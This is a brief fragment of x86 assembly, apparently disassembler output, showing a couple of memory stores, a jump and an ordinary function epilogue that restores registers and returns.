mov dword [ebp - 0x28], eax
jmp 0x1022ccb2
mov dword [0x10242264], 0x584
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret